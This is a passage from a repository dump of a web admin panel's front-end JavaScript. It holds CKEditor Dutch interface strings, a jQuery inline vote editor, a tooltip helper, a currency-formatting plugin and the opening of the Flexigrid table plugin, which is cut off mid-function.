notFoundMsg : 'De opgegeven tekst is niet gevonden.',
matchCase : 'Hoofdlettergevoelig',
matchWord : 'Hele woord moet voorkomen',
matchCyclic : 'Doorlopend zoeken',
replaceAll : 'Alles vervangen',
replaceSuccessMsg : '%1 resulaten vervangen.'
},
// Table Dialog
table :
{
toolbar : 'Tabel',
title : 'Eigenschappen tabel',
menu : 'Eigenschappen tabel',
deleteTable : 'Tabel verwijderen',
rows : 'Rijen',
columns : 'Kolommen',
border : 'Breedte rand',
align : 'Uitlijning',
alignLeft : 'Links',
alignCenter : 'Centreren',
alignRight : 'Rechts',
width : 'Breedte',
widthPx : 'pixels',
widthPc : 'procent',
widthUnit : 'eenheid breedte',
height : 'Hoogte',
cellSpace : 'Afstand tussen cellen',
cellPad : 'Ruimte in de cel',
caption : 'Naam',
summary : 'Samenvatting',
headers : 'Koppen',
headersNone : 'Geen',
headersColumn : 'Eerste kolom',
headersRow : 'Eerste rij',
headersBoth : 'Beide',
invalidRows : 'Het aantal rijen moet een getal zijn groter dan 0.',
invalidCols : 'Het aantal kolommen moet een getal zijn groter dan 0.',
invalidBorder : 'De rand breedte moet een getal zijn.',
invalidWidth : 'De tabel breedte moet een getal zijn.',
invalidHeight : 'De tabel hoogte moet een getal zijn.',
invalidCellSpacing : 'Afstand tussen cellen moet een getal zijn.',
invalidCellPadding : 'Ruimte in de cel moet een getal zijn.',
cell :
{
menu : 'Cel',
insertBefore : 'Voeg cel in voor',
insertAfter : 'Voeg cel in achter',
deleteCell : 'Cellen verwijderen',
merge : 'Cellen samenvoegen',
mergeRight : 'Voeg samen naar rechts',
mergeDown : 'Voeg samen naar beneden',
splitHorizontal : 'Splits cellen horizontaal',
splitVertical : 'Splits cellen verticaal',
title : 'Cel eigenschappen',
cellType : 'Cel type',
rowSpan : 'Rijen samenvoegen',
colSpan : 'Kolommen samenvoegen',
wordWrap : 'Automatische terugloop',
hAlign : 'Horizontale uitlijning',
vAlign : 'Verticale uitlijning',
alignTop : 'Boven',
alignMiddle : 'Midden',
alignBottom : 'Onder',
alignBaseline : 'Basislijn',
bgColor : 'Achtergrondkleur',
borderColor : 'Kleur rand',
data : 'Inhoud',
header : 'Kop',
yes : 'Ja',
no : 'Nee',
invalidWidth : 'De celbreedte moet een getal zijn.',
invalidHeight : 'De celhoogte moet een getal zijn.',
invalidRowSpan : 'Rijen samenvoegen moet een heel getal zijn.',
invalidColSpan : 'Kolommen samenvoegen moet een heel getal zijn.',
chooseColor : 'Kies'
},
row :
{
menu : 'Rij',
insertBefore : 'Voeg rij in voor',
insertAfter : 'Voeg rij in achter',
deleteRow : 'Rijen verwijderen'
},
column :
{
menu : 'Kolom',
insertBefore : 'Voeg kolom in voor',
insertAfter : 'Voeg kolom in achter',
deleteColumn : 'Kolommen verwijderen'
}
},
// Button Dialog.
button :
{
title : 'Eigenschappen knop',
text : 'Tekst (waarde)',
type : 'Soort',
typeBtn : 'Knop',
typeSbm : 'Versturen',
typeRst : 'Leegmaken'
},
// Checkbox and Radio Button Dialogs.
checkboxAndRadio :
{
checkboxTitle : 'Eigenschappen aanvinkvakje',
radioTitle : 'Eigenschappen selectievakje',
value : 'Waarde',
selected : 'Geselecteerd'
},
// Form Dialog.
form :
{
title : 'Eigenschappen formulier',
menu : 'Eigenschappen formulier',
action : 'Actie',
method : 'Methode',
encoding : 'Codering'
},
// Select Field Dialog.
select :
{
title : 'Eigenschappen selectieveld',
selectInfo : 'Informatie',
opAvail : 'Beschikbare opties',
value : 'Waarde',
size : 'Grootte',
lines : 'Regels',
chkMulti : 'Gecombineerde selecties toestaan',
opText : 'Tekst',
opValue : 'Waarde',
btnAdd : 'Toevoegen',
btnModify : 'Wijzigen',
btnUp : 'Omhoog',
btnDown : 'Omlaag',
btnSetValue : 'Als geselecteerde waarde instellen',
btnDelete : 'Verwijderen'
},
// Textarea Dialog.
textarea :
{
title : 'Eigenschappen tekstvak',
cols : 'Kolommen',
rows : 'Rijen'
},
// Text Field Dialog.
textfield :
{
title : 'Eigenschappen tekstveld',
name : 'Naam',
value : 'Waarde',
charWidth : 'Breedte (tekens)',
maxChars : 'Maximum aantal tekens',
type : 'Soort',
typeText : 'Tekst',
typePass : 'Wachtwoord'
},
// Hidden Field Dialog.
hidden :
{
title : 'Eigenschappen verborgen veld',
name : 'Naam',
value : 'Waarde'
},
// Image Dialog.
image :
{
title : 'Eigenschappen afbeelding',
titleButton : 'Eigenschappen afbeeldingsknop',
menu : 'Eigenschappen afbeelding',
infoTab : 'Informatie afbeelding',
btnUpload : 'Naar server verzenden',
upload : 'Upload',
alt : 'Alternatieve tekst',
width : 'Breedte',
height : 'Hoogte',
lockRatio : 'Afmetingen vergrendelen',
unlockRatio : 'Afmetingen ontgrendelen',
resetSize : 'Afmetingen resetten',
border : 'Rand',
hSpace : 'HSpace',
vSpace : 'VSpace',
align : 'Uitlijning',
alignLeft : 'Links',
alignRight : 'Rechts',
alertUrl : 'Geef de URL van de afbeelding',
linkTab : 'Link',
button2Img : 'Wilt u de geselecteerde afbeeldingsknop vervangen door een eenvoudige afbeelding?',
img2Button : 'Wilt u de geselecteerde afbeelding vervangen door een afbeeldingsknop?',
urlMissing : 'De URL naar de afbeelding ontbreekt.',
validateWidth : 'Breedte moet een heel nummer zijn.',
validateHeight : 'Hoogte moet een heel nummer zijn.',
validateBorder : 'Rand moet een heel nummer zijn.',
validateHSpace : 'HSpace moet een heel nummer zijn.',
validateVSpace : 'VSpace moet een heel nummer zijn.'
},
// Flash Dialog
flash :
{
properties : 'Eigenschappen Flash',
propertiesTab : 'Eigenschappen',
title : 'Eigenschappen Flash',
chkPlay : 'Automatisch afspelen',
chkLoop : 'Herhalen',
chkMenu : 'Flashmenu\'s inschakelen',
chkFull : 'Schermvullend toestaan',
scale : 'Schaal',
scaleAll : 'Alles tonen',
scaleNoBorder : 'Geen rand',
scaleFit : 'Precies passend',
access : 'Script toegang',
accessAlways : 'Altijd',
accessSameDomain: 'Zelfde domeinnaam',
accessNever : 'Nooit',
align : 'Uitlijning',
alignLeft : 'Links',
alignAbsBottom : 'Absoluut-onder',
alignAbsMiddle : 'Absoluut-midden',
alignBaseline : 'Basislijn',
alignBottom : 'Beneden',
alignMiddle : 'Midden',
alignRight : 'Rechts',
alignTextTop : 'Boven tekst',
alignTop : 'Boven',
quality : 'Kwaliteit',
qualityBest : 'Beste',
qualityHigh : 'Hoog',
qualityAutoHigh : 'Automatisch hoog',
qualityMedium : 'Gemiddeld',
qualityAutoLow : 'Automatisch laag',
qualityLow : 'Laag',
windowModeWindow: 'Venster',
windowModeOpaque: 'Ondoorzichtig',
windowModeTransparent : 'Doorzichtig',
windowMode : 'Venster modus',
flashvars : 'Variabelen voor Flash',
bgcolor : 'Achtergrondkleur',
width : 'Breedte',
height : 'Hoogte',
hSpace : 'HSpace',
vSpace : 'VSpace',
validateSrc : 'Geef de link van de URL',
validateWidth : 'De breedte moet een getal zijn.',
validateHeight : 'De hoogte moet een getal zijn.',
validateHSpace : 'De HSpace moet een getal zijn.',
validateVSpace : 'De VSpace moet een getal zijn.'
},
// Speller Pages Dialog
spellCheck :
{
toolbar : 'Spellingscontrole',
title : 'Spellingscontrole',
notAvailable : 'Excuses, deze dienst is momenteel niet beschikbaar.',
errorLoading : 'Er is een fout opgetreden bij het laden van de diesnt: %s.',
notInDic : 'Niet in het woordenboek',
changeTo : 'Wijzig in',
btnIgnore : 'Negeren',
btnIgnoreAll : 'Alles negeren',
btnReplace : 'Vervangen',
btnReplaceAll : 'Alles vervangen',
btnUndo : 'Ongedaan maken',
noSuggestions : '-Geen suggesties-',
progress : 'Bezig met spellingscontrole...',
noMispell : 'Klaar met spellingscontrole: geen fouten gevonden',
noChanges : 'Klaar met spellingscontrole: geen woorden aangepast',
oneChange : 'Klaar met spellingscontrole: één woord aangepast',
manyChanges : 'Klaar met spellingscontrole: %1 woorden aangepast',
ieSpellDownload : 'De spellingscontrole niet geïnstalleerd. Wilt u deze nu downloaden?'
},
smiley :
{
toolbar : 'Smiley',
title : 'Smiley invoegen',
options : 'Smiley opties'
},
elementsPath :
{
eleLabel : 'Elementenpad',
eleTitle : '%1 element'
},
numberedlist : 'Genummerde lijst',
bulletedlist : 'Opsomming',
indent : 'Inspringen vergroten',
outdent : 'Inspringen verkleinen',
justify :
{
left : 'Links uitlijnen',
center : 'Centreren',
right : 'Rechts uitlijnen',
block : 'Uitvullen'
},
blockquote : 'Citaatblok',
clipboard :
{
title : 'Plakken',
cutError : 'De beveiligingsinstelling van de browser verhinderen het automatisch knippen. Gebruik de sneltoets Ctrl/Cmd+X van het toetsenbord.',
copyError : 'De beveiligingsinstelling van de browser verhinderen het automatisch kopiëren. Gebruik de sneltoets Ctrl/Cmd+C van het toetsenbord.',
pasteMsg : 'Plak de tekst in het volgende vak gebruik makend van uw toetsenbord (<strong>Ctrl/Cmd+V</strong>) en klik op <strong>OK</strong>.',
securityMsg : 'Door de beveiligingsinstellingen van uw browser is het niet mogelijk om direct vanuit het klembord in de editor te plakken. Middels opnieuw plakken in dit venster kunt u de tekst alsnog plakken in de editor.',
pasteArea : 'Plakgebied'
},
pastefromword :
{
confirmCleanup : 'De tekst die u plakte lijkt gekopieerd te zijn vanuit Word. Wilt u de tekst opschonen voordat deze geplakt wordt?',
toolbar : 'Plakken als Word-gegevens',
title : 'Plakken als Word-gegevens',
error : 'Het was niet mogelijk om de geplakte tekst op te schonen door een interne fout'
},
pasteText :
{
button : 'Plakken als platte tekst',
title : 'Plakken als platte tekst'
},
templates :
{
button : 'Sjablonen',
title : 'Inhoud sjabonen',
options : 'Template opties',
insertOption : 'Vervang de huidige inhoud',
selectPromptMsg : 'Selecteer het sjabloon dat in de editor geopend moet worden (de actuele inhoud gaat verloren):',
emptyListMsg : '(Geen sjablonen gedefinieerd)'
},
showBlocks : 'Toon blokken',
stylesCombo :
{
label : 'Stijl',
panelTitle : 'Opmaakstijlen',
panelTitle1 : 'Blok stijlen',
panelTitle2 : 'In-line stijlen',
panelTitle3 : 'Object stijlen'
},
format :
{
label : 'Opmaak',
panelTitle : 'Opmaak',
tag_p : 'Normaal',
tag_pre : 'Met opmaak',
tag_address : 'Adres',
tag_h1 : 'Kop 1',
tag_h2 : 'Kop 2',
tag_h3 : 'Kop 3',
tag_h4 : 'Kop 4',
tag_h5 : 'Kop 5',
tag_h6 : 'Kop 6',
tag_div : 'Normaal (DIV)'
},
div :
{
title : 'Div aanmaken',
toolbar : 'Div aanmaken',
cssClassInputLabel : 'Stylesheet klassen',
styleSelectLabel : 'Stijl',
IdInputLabel : 'Id',
languageCodeInputLabel : ' Taalcode',
inlineStyleInputLabel : 'Inline stijl',
advisoryTitleInputLabel : 'informatieve titel',
langDirLabel : 'Schrijfrichting',
langDirLTRLabel : 'Links naar rechts (LTR)',
langDirRTLLabel : 'Rechts naar links (RTL)',
edit : 'Div wijzigen',
remove : 'Div verwijderen'
},
font :
{
label : 'Lettertype',
voiceLabel : 'Lettertype',
panelTitle : 'Lettertype'
},
fontSize :
{
label : 'Lettergrootte',
voiceLabel : 'Lettergrootte',
panelTitle : 'Lettergrootte'
},
colorButton :
{
textColorTitle : 'Tekstkleur',
bgColorTitle : 'Achtergrondkleur',
panelTitle : 'Kleuren',
auto : 'Automatisch',
more : 'Meer kleuren...'
},
colors :
{
'000' : 'Zwart',
'800000' : 'Kastanjebruin',
'8B4513' : 'Chocoladebruin',
'2F4F4F' : 'Donkerleigrijs',
'008080' : 'Blauwgroen',
'000080' : 'Marine',
'4B0082' : 'Indigo',
'696969' : 'Donkergrijs',
'B22222' : 'Baksteen',
'A52A2A' : 'Bruin',
'DAA520' : 'Donkergeel',
'006400' : 'Donkergroen',
'40E0D0' : 'Turquoise',
'0000CD' : 'Middenblauw',
'800080' : 'Paars',
'808080' : 'Grijs',
'F00' : 'Rood',
'FF8C00' : 'Donkeroranje',
'FFD700' : 'Goud',
'008000' : 'Groen',
'0FF' : 'Cyaan',
'00F' : 'Blauw',
'EE82EE' : 'Violet',
'A9A9A9' : 'Donkergrijs',
'FFA07A' : 'Lichtzalm',
'FFA500' : 'Oranje',
'FFFF00' : 'Geel',
'00FF00' : 'Felgroen',
'AFEEEE' : 'Lichtturquoise',
'ADD8E6' : 'Lichtblauw',
'DDA0DD' : 'Pruim',
'D3D3D3' : 'Lichtgrijs',
'FFF0F5' : 'Linnen',
'FAEBD7' : 'Ivoor',
'FFFFE0' : 'Lichtgeel',
'F0FFF0' : 'Honingdauw',
'F0FFFF' : 'Azuur',
'F0F8FF' : 'Licht hemelsblauw',
'E6E6FA' : 'Lavendel',
'FFF' : 'Wit'
},
scayt :
{
title : 'Controleer de spelling tijdens het typen',
opera_title : 'Niet ondersteund door Opera',
enable : 'SCAYT inschakelen',
disable : 'SCAYT uitschakelen',
about : 'Over SCAYT',
toggle : 'SCAYT in/uitschakelen',
options : 'Opties',
langs : 'Talen',
moreSuggestions : 'Meer suggesties',
ignore : 'Negeren',
ignoreAll : 'Alles negeren',
addWord : 'Woord toevoegen',
emptyDic : 'De naam van het woordenboek mag niet leeg zijn.',
optionsTab : 'Opties',
allCaps : 'Negeer woorden helemaal in hoofdletters',
ignoreDomainNames : 'Negeer domeinnamen',
mixedCase : 'Negeer woorden met hoofd- en kleine letters',
mixedWithDigits : 'Negeer woorden met cijfers',
languagesTab : 'Talen',
dictionariesTab : 'Woordenboeken',
dic_field_name : 'Naam woordenboek',
dic_create : 'Aanmaken',
dic_restore : 'Terugzetten',
dic_delete : 'Verwijderen',
dic_rename : 'Hernoemen',
dic_info : 'Initieel wordt het gebruikerswoordenboek opgeslagen in een cookie. Cookies zijn echter beperkt in grootte. Zodra het gebruikerswoordenboek het punt bereikt waarop het niet meer in een cookie opgeslagen kan worden, dan wordt het woordenboek op de server opgeslagen. Om je persoonlijke woordenboek op je eigen server op te slaan, moet je een mapnaam opgeven. Indien je al een woordenboek hebt opgeslagen, typ dan de naam en klik op de Terugzetten knop.',
aboutTab : 'Over'
},
about :
{
title : 'Over CKEditor',
dlgTitle : 'Over CKEditor',
moreInfo : 'Voor licentie informatie, bezoek onze website:',
copy : 'Copyright © $1. Alle rechten voorbehouden.'
},
maximize : 'Maximaliseren',
minimize : 'Minimaliseren',
fakeobjects :
{
anchor : 'Anker',
flash : 'Flash animatie',
div : 'Pagina einde',
unknown : 'Onbekend object'
},
resize : 'Sleep om te herschalen',
colordialog :
{
title : 'Selecteer kleur',
options : 'Kleuropties',
highlight : 'Actief',
selected : 'Geselecteerd',
clear : 'Wissen'
},
toolbarCollapse : 'Werkbalk inklappen',
toolbarExpand : 'Werkbalk uitklappen',
bidi :
{
ltr : 'Schrijfrichting van links naar rechts',
rtl : 'Schrijfrichting van rechts naar links'
}
};
| 123gosaigon | trunk/ 123gosaigon/webadmin/templates/ckeditor/lang/nl.js | JavaScript | asf20 | 21,388 |
var txtbox = new function()
{
var valueold = '';
var newvalue = '';
var id = '';
var flag = true;
function default_value()
{
$('#'+this.divid).html(newvalue) ;
}
function new_value()
{
$('#'+this.divid).html(newvalue) ;
}
return {
divid: '' ,
edit:function(divid, song, chart)
{
this.divid = divid ;
if(flag)
{
valueold = $('#'+divid).html() ;
var str = '<input type="text" name="txtbox_name" id="txtbox_name" value="'+valueold+'" size=15 /><a href="javascript:txtbox.save('+song +','+chart +');"> Save</a>|<a href="javascript:txtbox.cancel();"> Cancel</a>';
$('#'+divid).html(str);
flag = false;
}
},
save:function (song, chart)
{
newvalue = $("#txtbox_name").val() ;
$.post(url+'chart/addvote',{'new_vote':newvalue, 'old_vote':valueold, 'song_id':song, 'chart_id':chart}, function(res)
{
if(res==1)
{
$('#'+txtbox.divid).html(newvalue) ;
}
else
{
$('#'+txtbox.divid).html(valueold) ;
}
});
flag = true ;
},
cancel:function ()
{
$('#'+this.divid).html(valueold) ;
flag = true ;
}
};
}; | 123gosaigon | trunk/ 123gosaigon/webadmin/templates/js/txtbox.js | JavaScript | asf20 | 1,174 |
function remove_tip(){
$('#JT').remove()
}
function add_tip(linkId){
title = $("#"+linkId).attr('title');
content = $("#content"+linkId).html();
if(title == false)title=" ";
var de = document.documentElement;
var w = self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth;
var hasArea = w - getAbsoluteLeft(linkId);
var clickElementy = getAbsoluteTop(linkId) + 70; //set y position
$("body").append("<div id='JT' style='width:250px'><div id='JT_arrow_left'></div><div id='JT_close_left'>"+title+"</div><div id='JT_copy'>"+content+"</div></div>");//right side
var arrowOffset = getElementWidth(linkId) + 11;
var clickElementx = getAbsoluteLeft(linkId) + arrowOffset; //set x position
$('#JT').css({left: clickElementx+"px", top: clickElementy+"px"});
$('#JT').show();
//$('#JT_copy').load(url);
}
function getElementWidth(objectId) {
x = document.getElementById(objectId);
return x.offsetWidth;
}
function getAbsoluteLeft(objectId) {
// Get an object left position from the upper left viewport corner
o = document.getElementById(objectId)
oLeft = o.offsetLeft // Get left position from the parent object
while(o.offsetParent!=null) { // Parse the parent hierarchy up to the document element
oParent = o.offsetParent // Get parent object reference
oLeft += oParent.offsetLeft // Add parent left position
o = oParent
}
return oLeft
}
function getAbsoluteTop(objectId) {
// Get an object top position from the upper left viewport corner
o = document.getElementById(objectId)
oTop = o.offsetTop // Get top position from the parent object
while(o.offsetParent!=null) { // Parse the parent hierarchy up to the document element
oParent = o.offsetParent // Get parent object reference
oTop += oParent.offsetTop // Add parent top position
o = oParent
}
return oTop
}
function parseQuery ( query ) {
var Params = new Object ();
if ( ! query ) return Params; // return empty object
var Pairs = query.split(/[;&]/);
for ( var i = 0; i < Pairs.length; i++ ) {
var KeyVal = Pairs[i].split('=');
if ( ! KeyVal || KeyVal.length != 2 ) continue;
var key = unescape( KeyVal[0] );
var val = unescape( KeyVal[1] );
val = val.replace(/\+/g, ' ');
Params[key] = val;
}
return Params;
}
function blockEvents(evt) {
if(evt.target){
evt.preventDefault();
}else{
evt.returnValue = false;
}
} | 123gosaigon | trunk/ 123gosaigon/webadmin/templates/js/tooltip.js | JavaScript | asf20 | 2,615 |
// This file is part of the jQuery formatCurrency Plugin.
//
// The jQuery formatCurrency Plugin is free software: you can redistribute it
// and/or modify it under the terms of the GNU General Public License as published
// by the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// The jQuery formatCurrency Plugin is distributed in the hope that it will
// be useful, but WITHOUT ANY WARRANTY; without even the implied warranty
// of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along with
// the jQuery formatCurrency Plugin. If not, see <http://www.gnu.org/licenses/>.
(function($) {
$.formatCurrency = {};
$.formatCurrency.regions = [];
// default Region is en
$.formatCurrency.regions[''] = {
symbol: '',
positiveFormat: '%s%n',
negativeFormat: '(%s%n)',
decimalSymbol: '.',
digitGroupSymbol: ',',
groupDigits: true
};
$.fn.formatCurrency = function(destination, settings) {
if (arguments.length == 1 && typeof destination !== "string") {
settings = destination;
destination = false;
}
// initialize defaults
var defaults = {
name: "formatCurrency",
colorize: false,
region: '',
global: true,
roundToDecimalPlace: 0, // roundToDecimalPlace: -1; for no rounding; 0 to round to the dollar; 1 for one digit cents; 2 for two digit cents; 3 for three digit cents; ...
eventOnDecimalsEntered: false
};
// initialize default region
defaults = $.extend(defaults, $.formatCurrency.regions['']);
// override defaults with settings passed in
settings = $.extend(defaults, settings);
// check for region setting
if (settings.region.length > 0) {
settings = $.extend(settings, getRegionOrCulture(settings.region));
}
settings.regex = generateRegex(settings);
return this.each(function() {
$this = $(this);
// get number
var num = '0';
num = $this[$this.is('input, select, textarea') ? 'val' : 'html']();
//identify '(123)' as a negative number
if (num.search('\\(') >= 0) {
num = '-' + num;
}
if (num === '' || (num === '-' && settings.roundToDecimalPlace === -1)) {
return;
}
// if the number is valid use it, otherwise clean it
if (isNaN(num)) {
// clean number
num = num.replace(settings.regex, '');
if (num === '' || (num === '-' && settings.roundToDecimalPlace === -1)) {
return;
}
if (settings.decimalSymbol != '.') {
num = num.replace(settings.decimalSymbol, '.'); // reset to US decimal for arithmetic
}
if (isNaN(num)) {
num = '0';
}
}
// evalutate number input
var numParts = String(num).split('.');
var isPositive = (num == Math.abs(num));
var hasDecimals = (numParts.length > 1);
var decimals = (hasDecimals ? numParts[1].toString() : '0');
var originalDecimals = decimals;
// format number
num = Math.abs(numParts[0]);
num = isNaN(num) ? 0 : num;
if (settings.roundToDecimalPlace >= 0) {
decimals = parseFloat('1.' + decimals); // prepend "0."; (IE does NOT round 0.50.toFixed(0) up, but (1+0.50).toFixed(0)-1
decimals = decimals.toFixed(settings.roundToDecimalPlace); // round
if (decimals.substring(0, 1) == '2') {
num = Number(num) + 1;
}
decimals = decimals.substring(2); // remove "0."
}
num = String(num);
if (settings.groupDigits) {
for (var i = 0; i < Math.floor((num.length - (1 + i)) / 3); i++) {
num = num.substring(0, num.length - (4 * i + 3)) + settings.digitGroupSymbol + num.substring(num.length - (4 * i + 3));
}
}
if ((hasDecimals && settings.roundToDecimalPlace == -1) || settings.roundToDecimalPlace > 0) {
num += settings.decimalSymbol + decimals;
}
// format symbol/negative
var format = isPositive ? settings.positiveFormat : settings.negativeFormat;
var money = format.replace(/%s/g, settings.symbol);
money = money.replace(/%n/g, num);
// setup destination
var $destination = $([]);
if (!destination) {
$destination = $this;
} else {
$destination = $(destination);
}
// set destination
$destination[$destination.is('input, select, textarea') ? 'val' : 'html'](money);
if (
hasDecimals &&
settings.eventOnDecimalsEntered &&
originalDecimals.length > settings.roundToDecimalPlace
) {
$destination.trigger('decimalsEntered', originalDecimals);
}
// colorize
if (settings.colorize) {
$destination.css('color', isPositive ? 'black' : 'red');
}
});
};
// Remove all non numbers from text
$.fn.toNumber = function(settings) {
var defaults = $.extend({
name: "toNumber",
region: '',
global: true
}, $.formatCurrency.regions['']);
settings = jQuery.extend(defaults, settings);
if (settings.region.length > 0) {
settings = $.extend(settings, getRegionOrCulture(settings.region));
}
settings.regex = generateRegex(settings);
return this.each(function() {
var method = $(this).is('input, select, textarea') ? 'val' : 'html';
$(this)[method]($(this)[method]().replace('(', '(-').replace(settings.regex, ''));
});
};
// returns the value from the first element as a number
$.fn.asNumber = function(settings) {
var defaults = $.extend({
name: "asNumber",
region: '',
parse: true,
parseType: 'Float',
global: true
}, $.formatCurrency.regions['']);
settings = jQuery.extend(defaults, settings);
if (settings.region.length > 0) {
settings = $.extend(settings, getRegionOrCulture(settings.region));
}
settings.regex = generateRegex(settings);
settings.parseType = validateParseType(settings.parseType);
var method = $(this).is('input, select, textarea') ? 'val' : 'html';
var num = $(this)[method]();
num = num ? num : "";
num = num.replace('(', '(-');
num = num.replace(settings.regex, '');
if (!settings.parse) {
return num;
}
if (num.length == 0) {
num = '0';
}
if (settings.decimalSymbol != '.') {
num = num.replace(settings.decimalSymbol, '.'); // reset to US decimal for arthmetic
}
return window['parse' + settings.parseType](num);
};
function getRegionOrCulture(region) {
var regionInfo = $.formatCurrency.regions[region];
if (regionInfo) {
return regionInfo;
}
else {
if (/(\w+)-(\w+)/g.test(region)) {
var culture = region.replace(/(\w+)-(\w+)/g, "$1");
return $.formatCurrency.regions[culture];
}
}
// fallback to extend(null) (i.e. nothing)
return null;
}
function validateParseType(parseType) {
switch (parseType.toLowerCase()) {
case 'int':
return 'Int';
case 'float':
return 'Float';
default:
throw 'invalid parseType';
}
}
function generateRegex(settings) {
if (settings.symbol === '') {
return new RegExp("[^\\d" + settings.decimalSymbol + "-]", "g");
}
else {
var symbol = settings.symbol.replace('$', '\\$').replace('.', '\\.');
return new RegExp(symbol + "|[^\\d" + settings.decimalSymbol + "-]", "g");
}
}
})(jQuery); | 123gosaigon | trunk/ 123gosaigon/webadmin/templates/js/jquery.formatCurrencyVN.js | JavaScript | asf20 | 7,399 |
/*
* Flexigrid for jQuery - v1.1
*
* Copyright (c) 2008 Paulo P. Marinas (code.google.com/p/flexigrid/)
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
*/
(function ($) {
$.addFlex = function (t, p) {
if (t.grid) return false; //return if already exist
p = $.extend({ //apply default properties
height: 200, //default height
width: 'auto', //auto width
striped: true, //apply odd even stripes
novstripe: false,
minwidth: 30, //min width of columns
minheight: 80, //min height of columns
resizable: true, //allow table resizing
url: false, //URL if using data from AJAX
method: 'POST', //data sending method
dataType: 'xml', //type of data for AJAX, either xml or json
errormsg: 'Connection Error',
usepager: false,
nowrap: true,
page: 1, //current page
total: 1, //total pages
useRp: true, //use the results per page select box
rp: 15, //results per page
rpOptions: [10, 15, 20, 30, 50], //allowed per-page values
title: false,
pagestat: 'Displaying {from} to {to} of {total} items',
pagetext: 'Page',
outof: 'of',
findtext: 'Find',
procmsg: 'Processing, please wait ...',
query: '',
qtype: '',
nomsg: 'No items',
minColToggle: 1, //minimum allowed column to be hidden
showToggleBtn: true, //show or hide column toggle popup
hideOnSubmit: true,
autoload: true,
blockOpacity: 0.5,
preProcess: false,
onDragCol: false,
onToggleCol: false,
onChangeSort: false,
onSuccess: false,
onError: false,
onSubmit: false //using a custom populate function
}, p);
$(t).show() //show if hidden
.attr({
cellPadding: 0,
cellSpacing: 0,
border: 0
}) //remove padding and spacing
.removeAttr('width'); //remove width properties
//create grid class
var g = {
hset: {},
rePosDrag: function () {
var cdleft = 0 - this.hDiv.scrollLeft;
if (this.hDiv.scrollLeft > 0) cdleft -= Math.floor(p.cgwidth / 2);
$(g.cDrag).css({
top: g.hDiv.offsetTop + 1
});
var cdpad = this.cdpad;
$('div', g.cDrag).hide();
$('thead tr:first th:visible', this.hDiv).each(function () {
var n = $('thead tr:first th:visible', g.hDiv).index(this);
var cdpos = parseInt($('div', this).width());
if (cdleft == 0) cdleft -= Math.floor(p.cgwidth / 2);
cdpos = cdpos + cdleft + cdpad;
if (isNaN(cdpos)) {
cdpos = 0;
}
$('div:eq(' + n + ')', g.cDrag).css({
'left': cdpos + 'px'
}).show();
cdleft = cdpos;
});
},
fixHeight: function (newH) {
newH = false;
if (!newH) newH = $(g.bDiv).height();
var hdHeight = $(this.hDiv).height();
$('div', this.cDrag).each(
function () {
$(this).height(newH + hdHeight);
}
);
var nd = parseInt($(g.nDiv).height());
if (nd > newH) $(g.nDiv).height(newH).width(200);
else $(g.nDiv).height('auto').width('auto');
$(g.block).css({
height: newH,
marginBottom: (newH * -1)
});
var hrH = g.bDiv.offsetTop + newH;
if (p.height != 'auto' && p.resizable) hrH = g.vDiv.offsetTop;
$(g.rDiv).css({
height: hrH
});
},
dragStart: function (dragtype, e, obj) { //default drag function start
if (dragtype == 'colresize') {//column resize
$(g.nDiv).hide();
$(g.nBtn).hide();
var n = $('div', this.cDrag).index(obj);
var ow = $('th:visible div:eq(' + n + ')', this.hDiv).width();
$(obj).addClass('dragging').siblings().hide();
$(obj).prev().addClass('dragging').show();
this.colresize = {
startX: e.pageX,
ol: parseInt(obj.style.left),
ow: ow,
n: n
};
$('body').css('cursor', 'col-resize');
} else if (dragtype == 'vresize') {//table resize
var hgo = false;
$('body').css('cursor', 'row-resize');
if (obj) {
hgo = true;
$('body').css('cursor', 'col-resize');
}
this.vresize = {
h: p.height,
sy: e.pageY,
w: p.width,
sx: e.pageX,
hgo: hgo
};
} else if (dragtype == 'colMove') {//column header drag
$(g.nDiv).hide();
$(g.nBtn).hide();
this.hset = $(this.hDiv).offset();
this.hset.right = this.hset.left + $('table', this.hDiv).width();
this.hset.bottom = this.hset.top + $('table', this.hDiv).height();
this.dcol = obj;
this.dcoln = $('th', this.hDiv).index(obj);
this.colCopy = document.createElement("div");
this.colCopy.className = "colCopy";
this.colCopy.innerHTML = obj.innerHTML;
if ($.browser.msie) {
this.colCopy.className = "colCopy ie";
}
$(this.colCopy).css({
position: 'absolute',
float: 'left',
display: 'none',
textAlign: obj.align
});
$('body').append(this.colCopy);
$(this.cDrag).hide();
}
$('body').noSelect();
},
dragMove: function (e) {
if (this.colresize) {//column resize
var n = this.colresize.n;
var diff = e.pageX - this.colresize.startX;
var nleft = this.colresize.ol + diff;
var nw = this.colresize.ow + diff;
if (nw > p.minwidth) {
$('div:eq(' + n + ')', this.cDrag).css('left', nleft);
this.colresize.nw = nw;
}
} else if (this.vresize) {//table resize
var v = this.vresize;
var y = e.pageY;
var diff = y - v.sy;
if (!p.defwidth) p.defwidth = p.width;
if (p.width != 'auto' && !p.nohresize && v.hgo) {
var x = e.pageX;
var xdiff = x - v.sx;
var newW = v.w + xdiff;
if (newW > p.defwidth) {
this.gDiv.style.width = newW + 'px';
p.width = newW;
}
}
var newH = v.h + diff;
if ((newH > p.minheight || p.height < p.minheight) && !v.hgo) {
this.bDiv.style.height = newH + 'px';
p.height = newH;
this.fixHeight(newH);
}
v = null;
} else if (this.colCopy) {
$(this.dcol).addClass('thMove').removeClass('thOver');
if (e.pageX > this.hset.right || e.pageX < this.hset.left || e.pageY > this.hset.bottom || e.pageY < this.hset.top) {
//this.dragEnd();
$('body').css('cursor', 'move');
} else {
$('body').css('cursor', 'pointer');
}
$(this.colCopy).css({
top: e.pageY + 10,
left: e.pageX + 20,
display: 'block'
});
}
},
dragEnd: function () {
if (this.colresize) {
var n = this.colresize.n;
var nw = this.colresize.nw;
$('th:visible div:eq(' + n + ')', this.hDiv).css('width', nw);
$('tr', this.bDiv).each(
function () {
$('td:visible div:eq(' + n + ')', this).css('width', nw);
}
);
this.hDiv.scrollLeft = this.bDiv.scrollLeft;
$('div:eq(' + n + ')', this.cDrag).siblings().show();
$('.dragging', this.cDrag).removeClass('dragging');
this.rePosDrag();
this.fixHeight();
this.colresize = false;
} else if (this.vresize) {
this.vresize = false;
} else if (this.colCopy) {
$(this.colCopy).remove();
if (this.dcolt != null) {
